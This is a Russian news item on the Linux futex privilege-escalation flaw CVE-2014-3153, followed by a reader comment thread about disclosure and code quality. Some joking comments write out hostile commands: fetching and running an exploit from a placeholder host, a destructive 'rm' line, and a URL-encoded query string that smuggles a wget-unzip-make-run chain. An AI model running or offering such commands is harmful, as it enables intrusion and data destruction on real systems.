В ядре Linux выявлена (http://openwall.com/lists/oss-security/2014/06/05/22) уязвимость (CVE-2014-3153), позволяющая локальному пользователю выполнить код с привилегиями ядра. Проблема вызвана ошибкой в реализации подсистемы futex (http://ru.wikipedia.org/wiki/%D0%A4%D1%8... и позволяет получить контроль над нулевым кольцом защиты (http://ru.wikipedia.org/wiki/%D0%9A%D0%B... через манипуляции с системным вызовом futex (проявляется при передаче идентичных адресов uaddr и uaddr2).
Проблеме подвержены все актуальные выпуски ядра, включая 2.6.32. При этом проблема может быть использована (http://seclists.org/oss-sec/2014/q2/469) для выхода за пределы типовых изолированных окружений, так как futex используется в pthread-примитиве glibc и доступен для обращения независимо от уровня изоляции.Обновления пакетов с ядром пока выпущены только для Debian (https://lists.debian.org/debian-security-announce/2014/msg00... и Ubuntu (http://www.ubuntu.com/usn/usn-2241-1/). Ещё не выпущены обновления для RHEL (https://rhn.redhat.com/errata/rhel-server-6-errata.html), CentOS (http://lists.centos.org/pipermail/centos-announce/2014-June/... Fedora (https://admin.fedoraproject.org/updates/F20/security), openSUSE (http://lists.opensuse.org/opensuse-security-announce/2014-06/), SUSE (https://www.suse.com/support/update/), Gentoo (http://www.gentoo.org/security/en/index.xml), Slackware (http://www.slackware.com/security/list.php?l=slackware-secur.... Обновления ядра на kernel.org (https://www.kernel.org/) пока не выпущены, но доступен патч (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.....
URL: http://openwall.com/lists/oss-security/2014/06/05/22
Новость: http://www.opennet.me/opennews/art.shtml?num=39944
А эксплоит-то есть, чтобы проверить, работает ли оно?
Просто у меня из всей массы "уязвимостей" работала только одна - последняя, связанная с tty write или типа того.
Надо замутить... :)
> Надо замутить... :)Пля, работает, во срань!!!
>> Надо замутить... :)
> Пля, работает, во срань!!!Где скачать исходники exploit использующий эту уязвимость?
ты поменьше павлину верь. вдобавок — ему и сплойтов никаких не надо, с его говнокодом.
А я из 16 000+ зарегистрированных болезней, болел только поносом. Видимо пора закрывать больницы, друзья.
Мойте руки перед едой, чо.
Понос - это не болезнь, а следствие ее.
ответная реакция организма
Понос - состояние, которое может быть вызвано не только болезнью, бестолочи.
> Понос - состояние, которое может быть вызвано не только болезнью, бестолочи.А, так вот в чём Вы толк знаете...
Включай мозги! Нашёл на свалке просроченные продукты. Приготовил, сразу съел. Думал будет запор, но пронесло.Симптомом какой болезни является понос и от чего тебя лечить?
ну...от слабоумия... если,конечно, не "жизнь заставила"
> Симптомом какой болезни является понос и от чего тебя лечить?Дизбактериоз.
Мда... Простой вопрос: ПОЧЕМУ просроченные продукты вызывают понос? И вдогонку: что такое "болезнь"?
> будет запор, но пронесло.Биологию ты чтоли не учил в своем дворце? Тебе про бактерий не рассказывали? Впрочем, рассказывать одноклеточному про одноклеточных - весьма сомнительное начинание.
> Симптомом какой болезни является понос и от чего тебя лечить?
Боюсь, root cause в виде непроходимой тyпости таки не лечится.
ага. Про экзо и эндотоксины почитай еще.
> А, так вот в чём Вы толк знаете...Да, у него словесный. //off: иногда даже троллинг модератором посетителя - доставляет.
> Да, у него словесный.Вообще справедливости ради, баланс чуши/флуда/вбросов к конструктиву, хоть и со своей спецификой, у данного посетителя меняется и это радует. Потому что пока есть смысл разговаривать, надо всячески стараться разглядеть человека и вытащить его, а не списывать всё в зверьё/насекомых/ботов и прочих унтерменшей. Проверено в жизни, да и "Крошка Енот" о том же.
> у данного посетителя меняется и это радует.Что-то пока не очень заметно :(.
Что-то меня ядро Linux начало разочаровывать своими уязвимостями.
Для Fedora 20 вышло обновление ядра.
Вас разочаровывает тот факт, что нашли дырку еще с времен 2.6.32 или тот факт что если б не нашли, то типа никто и не знал бы и это было лучше?)))
Ошибки есть везде и лучше всего когда их могут залатать сразу а не через полгода или год.
Вот в линукс как раз с реализацией заплаток все более-менее быстро...
Разочаровывает, что ядро такое большое сложное немодульное и этого не изменить. (альтернатив на горизонте нету)
> Разочаровывает, что ядро такое большое сложное немодульноеВы хоть раз в него вообще заглядывали?
>> Разочаровывает, что ядро такое большое сложное немодульное
> Вы хоть раз в него вообще заглядывали?Нет, а ты?
> Нет, а ты?Для чего тогда прикидываешься тупым попугаем?
>>> Разочаровывает, что ядро такое большое сложное немодульное
>> Вы хоть раз в него вообще заглядывали?
> Нет, а ты?Да:
--- linux-2.2.5/fs/isofs/inode.c.orig Tue Dec 29 21:40:35 1998
+++ linux-2.2.5/fs/isofs/inode.c Mon Jul 19 21:46:48 1999
@@ -286,7 +286,7 @@
popt->unhide = 'n';
popt->check = 'u'; /* unset */
popt->blocksize = 1024;
- popt->mode = S_IRUGO | S_IXUGO; /* r-x for all. The disc could
+ popt->mode = S_IRUGO/* | S_IXUGO*/; /* r-x for all. The disc could
be shared with DOS machines so
virtually anything could be
a valid executable. */
@@ -1096,8 +1096,8 @@
for(i=0; i< raw_inode->name_len[0]; i++)
if(raw_inode->name[i]=='.' || raw_inode->name[i]==';')
break;
- if(i == raw_inode->name_len[0] || raw_inode->name[i] == ';')
- inode->i_mode |= S_IXUGO; /* execute permission */
+// if(i == raw_inode->name_len[0] || raw_inode->name[i] == ';')
+// inode->i_mode |= S_IXUGO; /* execute permission */
}
inode->i_uid = inode->i_sb->u.isofs_sb.s_uid;
inode->i_gid = inode->i_sb->u.isofs_sb.s_gid;
чёрт, буратино был тупой. сколько уж матом на это ругаюсь, а простая мысль взять и починить всё прямо там, где источник — не приходила.
> простая мысль взять и починить всё прямо там, где источник — не приходила.Так туда ручку для noexec прикрутили где-то в 2.4, если не раньше. А тогда просто сделал m3u extfs для mc и с учётом актуальности подборок на сидишках с Петровки это был блокер.
Да, и был поражен количеством легаси-гoвна, про которое мне пришлось долго, очень долго вспоминать в котором году я видел что-то подобное и видел ли вообще. Пора уже как в дровах на видео, делить код на части и выпихивать все гoвно мамонта в отдельную ветку. И не только в ядре, многие программы грешат этим. Почему из-за полутора некрофилов должны страдать все? Если кто уж так привязан к железкам/технологиям 90-х годов, вот пускай сами и пиляют их в отдельной ветке.
> Да, и был поражен количеством легаси-гoвна, про которое мне пришлось долго, очень
> долго вспоминать в котором году я видел что-то подобное и видел
> ли вообще. Пора уже как в дровах на видео, делить код
> на части и выпихивать все гoвно мамонта в отдельную ветку. И
> не только в ядре, многие программы грешат этим. Почему из-за полутора
> некрофилов должны страдать все? Если кто уж так привязан к железкам/технологиям
> 90-х годов, вот пускай сами и пиляют их в отдельной ветке.Пострадали только Вы.
Оно и пилится в отдельных ветках по факту, а потом уже мерджится.
Вон у поттеринга такой же способ разработки systemd.
> сложное немодульное и этого не изменить.Попробуй посмотреть как его разрабатывают чтоли, эксперт хренов. Заодно узнай что такое pull request-ы и по каким принципам их делают.
Во второй половине двухтысячных в Firefox выявлялось больше уязвимостей, чем в IE. Означает ли это, что качество кода Firefox было ниже? Парадоксально, это означает обратное.
Это ничего не означает.А измеримое понятие "качество кода" само по себе нуждается в чётком термине, которого не существует.
ну для кого-то может и не существует http://habrahabr.ru/post/220769/
> А измеримое понятие "качество кода" само по себе нуждается в чётком термине,
> которого не существует.Почему же? Количество багов на тысячу строк - очень даже измеримая сущность с вполне четким определением.
>> А измеримое понятие "качество кода" само по себе нуждается
> Почему же? Количество багов на тысячу строк - очень даже измеримая сущность
> с вполне четким определением.А мифическое "качество кода" не измеряется и не определимо чётко. Попытка подмены не засчитана. Вторая подача?
>> А измеримое понятие "качество кода" само по себе нуждается в чётком термине,
>> которого не существует.Не термине, а определении, но да.
> Почему же? Количество багов на тысячу строк - очень даже измеримая сущность
> с вполне четким определением.Баг багу рознь.
Хорошо, больше рута для ондроидов. А то когдаа безопасность ДЛЯ пользователя, это хорошо, но вот когда против - лучше решето)
Для пользователя без мозгов ЛЮБАЯ безопасность против.
боюсь в андроиде нет фьютексов((
Да кудаж они делись то. Улетели на метле?))
как хорошо, что у меня centos5 на серверах
уязвимость локальная, или у вас локалхосты?
$ ssh user@hostname.com
$ wget http://somewhere.com/foo/bar/exploit
$ ./exploit
# rm -rm /*
http%3A%2F%2Fremotehost.example.com%2F%3Fwget+www.hackers.org%2Fexploit.zip%26%26unzip+-x+exploit.zip%26%26make%26%26make+install%26%26%2Fusr%2Fbin%2Fexploitмамо, чому я румынскiй вiрус?
В генте уже поправили.
в дебе вчера и ссл и ядро приехало
Подтверждаю. Даже для бекпортированной 3.14 - linux-image-3.14-0.bpo.1-amd64 amd64 3.14.5-1~bpo70+1
Новость позитивная! Если уязвимость не найдена, то это не значит, что её нет, более того это значит только то, что она не найдена хорошими парнями. А найденная уязвимость - это и не уязвимость вовсе!
Совершенно верно. Новость позитивная. Баги были есть и будут всегда. Главное что-бы их вовремя находили.
>все актуальные выпуски ядра, включая 2.6.32от 2010 года
>что-бы их вовремя находили.Да, "вовремя"
Больше багов, хороших и разных!
Извините за оффтоп :)
> А найденная уязвимость - это и не уязвимость вовсе!Вообще-то найденная уязвимость -- это найденная уязвимость. Её ещё надо разобрать, заткнуть, проверить на отсутствие регрессий (или их приемлемость, когда вилка), а затем самое интересное: выкатить исправление на местах, где найденная в коде уязвимость остаётся уязвимостью хоста.
Вы пропустили важный пункт - 3) наказать того кто пропустил уязвимость, потом того кто принял патч с ней в ядро.
> наказать того кто пропустил уязвимость, потом того кто принял патч с ней в ядро.типичный корпоративный путь в пропасть. насмотрелся. надо описывать в деталях к чему приводит и как сказывается на качестве в итоге?
> наказать того кто пропустил уязвимость,Людям свойственно ошибаться. Наказывать человека за то что он человек? Хм, удачи вам в поиске сотрудников в вашу шарагу...
В альтах уже патч доступен? А в прочем кому они нужны...
Да, конечно доступен.
И эти самые корпорации, не способные обезопасить ядро собираются улучшать разработку OpenSSL?
Прозвучали различные мнение о том, что лучше. Любой софт "дырявый". Из этого следует, что лучше путь о них никто не знает. Полагаю это самый разумный компромисс. Нельзя устранить все ошибки и довести продукт до идеала. До нужного состояния и не более того. А всяким "кодокопателям" нужно по рукам бить чтобы другие не страдали из за их энтузиазма. И тем более сурово карать за публикацию в открытый доступ. Палка с двумя концами. Хотели как лучше, а вышло как всегда...
Ты не думал что в твоем комментарии логическое противоречии? Если все ошибки трудно устранить, то с тем же успехом их трудно искать.
> Любой софт "дырявый".Нет.
> Из этого следует, что лучше путь о них никто не знает.
> Полагаю это самый разумный компромисс.Нет.
> Нельзя устранить все ошибки и довести продукт до идеала.
Нет.
> А всяким "кодокопателям" нужно по рукам бить чтобы другие не страдали из за их
> энтузиазма. И тем более сурово карать за публикацию в открытый доступ.Бить палкой по рукам надо тем, кто зря возомнил себя разработчиком. И по голове -- тем, кто ставит задания и сроки, исходя из функциональности и забив на всё остальное, и тем, кто набирает по принципу "*.*".
PS: не знаю, кто удалил #87 и зачем, но разница c состоянием здоровья принципиальна в силу того, что код копируется, а здоровье -- нет (см. тж. #21). Переживания понимаю, но bugtraq@ когда-то читал, а full-disclosure@ посматривал и согласиться никак не могу.
>> Нельзя устранить все ошибки и довести продукт до идеала.
> Нет.Нет
>>> Нельзя устранить все ошибки и довести продукт до идеала.
>> Нет.
> НетНет смысла повторять эхом, тем паче когда примеры известны.
Примеры в студию, кроме Альта разумеется.
> Примеры в студию, кроме Альта разумеется.запросто: TeX.
> запросто: TeX.Ага, шикарный пример, которым пользуются целых два с половиной землемера. И на этом список заканчивается. Арису, такой Арису...
ты ошибся сайтом, винфак не здесь.
> ты ошибся сайтом, винфак не здесь.Слив засчитан, сиди на солнышке грейся.
> Слив засчитанизвини, я не знал, что ты — сливной бачок. думал, просто виндоюзер заблудился.
> Примеры в студию, кроме Альта разумеется.Альт как раз в таком качестве не годится (как и любая известная мне ОС), а отдельные подозрительные на примерность кусочки вроде control(8) погоды всё-таки не делают. TeX и изделия DJB уже назвали, этого уже достаточно.
> Любой софт "дырявый".DJB делом доказал в qmail и djbdns что это не так.
> Из этого следует, что лучше путь о них никто не знает.
Неверный вывод из неверных предпосылок.
> Полагаю это самый разумный компромисс.
Полагаю что это похоже на страусиную тактику: если не вижу опасность, значит ее нет. Но это лишь самообман, не более. Хакеры, спецслужбы и прочие - дыры ищут. И эксплуатируют. Забыв поставить в известность производителя. Поэтому чем прозрачнее процесс тем оперативнее фиксы и меньше интервал времени когда о дыре знают плохие парни и не знают все остальные.
> Нельзя устранить все ошибки и довести продукт до идеала.
Иногда таки можно. Иди сломай djbdns или qmail? Автор штукарь зелени за это помнится давал. Впрочем, штукарь это ерунда: после такого успеха компании желающие нанять тебя как эксперта в области безопасности выстроятся в длинную очередь.
> А всяким "кодокопателям" нужно по рукам бить чтобы другие не страдали
Не получится. Блэкхэты прекрасно умеют делать все анонимано и втихую, так что комар носа не подточит. Вон с ботнетами как: стада ботов вроде есть, а кто за ними стоит - "ищут пожарные, ищет милиция, ищут давно но не могут найти". Иногда конечно показательно мочат кого-то, но если просто посмотреть на трафф в сети - можно заметить что ботов (и ботоводов, соответственно) меньше вовсе не становится.
> Палка с двумя концами. Хотели как лучше, а вышло как всегда...
Есть только 1 способ удавить баги - выловить и починить. Врать о том что их нет - самонае...лово или, того хуже, осознанное очковтирательство.
> Есть только 1 способ удавить баги - выловить и починить.Отнюдь. И вообще-то пример с DJB и другими сторонниками подхода proactive security -- это как раз иллюстрация обратного: "чисто не там, где убирают, а там, где не гадят". Хотя для индустрии этот подход и впрямь менее понятен -- потому как нужны высококлассные специалисты, а не взаимозаменяемые "менеджеры безопасности" (не в упрёк высококлассным специалистам среди менеджеров, ну да они и так поймут, даже если наткнутся на эти слова).
> Отнюдь. И вообще-то пример с DJB и другими сторонниками подхода proactive
> security -- это как раз иллюстрация обратного:Да, тут есть в новой новости иллюстрация - там где про секурный L4. Если ядро ничего не умеет - то и багов в нем нет. Это, конечно, логично, но... если чуть продолжить эту мысль, можно немного повысить безопасность, отключив питание компьютера. К сожалению, это несколько понижает полезность компьютера. Ну вот и грызут небезопасные кактусы...
Что-то они зачастили в последнее время.
> Что-то они зачастили в последнее время.Когда действуют в опережение, в этом нет ничего плохого. Хуже, когда все шито-крыто.
Хорошо вот, что openssl открытая, а то никогда бы ничего не нашли, а разработчики торговали бы уязвимостями. Настанет время и линукс наш любимый станет использоваться во всем мире, а ошибки будут находить в миллион раз быстрее, никто не успеет их использовать.
После установки свежего обновления ядра в Ubuntu перестали запускаться куча программ, по strace стопорится наfutex(0xb83e0160, FUTEX_UNLOCK_PI_PRIVATE, 1318900) = -1 EPERM (Operation not permitted)
futex(0xb83d6e74, FUTEX_WAIT_PRIVATE, 1, NULL
> В ядре Linux выявлена (http://openwall.com/lists/oss-security/2014/06/05/22) уязвимость
> (CVE-2014-3153), позволяющая локальному пользователю выполнить код с привилегиями ядра.Где скачать исходники exploit использующий эту уязвимость?